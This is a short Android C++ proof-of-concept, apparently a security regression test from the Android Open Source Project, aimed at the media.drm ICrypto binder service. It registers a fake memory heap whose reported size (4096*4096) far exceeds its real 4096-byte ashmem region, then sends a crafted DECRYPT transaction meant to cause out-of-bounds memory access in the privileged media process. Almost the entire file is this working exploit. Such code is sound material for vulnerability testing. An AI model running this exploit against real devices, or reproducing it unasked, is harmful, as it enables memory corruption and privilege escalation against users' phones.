1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions vand
14  * limitations under the License.
15  */
16 
17 #include <sys/types.h>
18 #include <sys/wait.h>
19 #include <binder/IMemory.h>
20 #include <binder/IServiceManager.h>
21 #include <binder/MemoryDealer.h>
22 #include <binder/Parcel.h>
23 #include <cutils/ashmem.h>
24 #include <utils/String8.h>
25 
26 using namespace android;
27 
28 #define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
29 #define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
30 #define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
31 #define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
32 
33 class MyMemoryHeap : public virtual BnMemoryHeap {
34 public:
MyMemoryHeap(int fd)35   MyMemoryHeap(int fd) { mFd = fd; }
getHeapID() const36   int getHeapID() const { return mFd; }
getBase() const37   void *getBase() const { return NULL; }
getSize() const38   size_t getSize() const { return 4096 * 4096; }
getFlags() const39   uint32_t getFlags() const { return 0; }
getOffset() const40   off_t getOffset() const { return 0; }
41 
42 private:
43   mutable int mFd;
44 };
45 
46 sp<IBinder> crypto_binder;
47 
make_crypto()48 void make_crypto() {
49 
50   sp<IServiceManager> sm = defaultServiceManager();
51   sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
52 
53   Parcel data, reply;
54 
55   data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
56 
57   drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
58 
59   crypto_binder = reply.readStrongBinder();
60 }
61 
create_plugin()62 void create_plugin() {
63 
64   Parcel data, reply;
65 
66   data.writeInterfaceToken(String16("android.hardware.ICrypto"));
67 
68   uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
69                       0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
70   data.write(uuid, 16);
71 
72   data.writeInt32(0);
73 
74   crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
75 }
76 
set_heap()77 int set_heap() {
78 
79   Parcel data, reply;
80 
81   data.writeInterfaceToken(String16("android.hardware.ICrypto"));
82   int fd = ashmem_create_region("ele7enxxh", 4096);
83   sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
84   data.writeStrongBinder(IInterface::asBinder(heap));
85 
86   crypto_binder->transact(SET_HEAP, data, &reply, 0);
87 
88   return reply.readInt32();
89 }
90 
decrypt()91 void decrypt() {
92 
93   Parcel data, reply;
94 
95   data.writeInterfaceToken(String16("android.hardware.ICrypto"));
96   data.writeInt32(0);
97   data.writeInt32(0);
98   data.writeInt32(0);
99 
100   uint8_t key[16];
101   memset(key, 0, 16);
102   data.write(key, 16);
103   uint8_t iv[16];
104   memset(iv, 0, 16);
105   data.write(iv, 16);
106 
107   // totalsize
108   data.writeInt32(4096 * 4);
109 
110   sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
111   sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
112   data.writeStrongBinder(IInterface::asBinder(mem));
113 
114   // source.mHeapSeqNum
115   data.writeInt32(0);
116 
117   // offset
118   data.writeInt32(0);
119 
120   // numSubSamples
121   data.writeInt32(1);
122 
123   // numBytesOfClearData
124   data.writeInt32(4096 * 4);
125 
126   // numBytesOfEncryptedData
127   data.writeInt32(0);
128 
129   // destination.mType
130   data.writeInt32(0);
131 
132   // destination.mSharedMemory
133   data.writeStrongBinder(IInterface::asBinder(mem));
134 
135   crypto_binder->transact(DECRYPT, data, &reply, 0);
136 }
137 
main()138 int main() {
139 
140   make_crypto();
141 
142   create_plugin();
143 
144   set_heap();
145 
146   decrypt();
147 
148   return 0;
149 }
150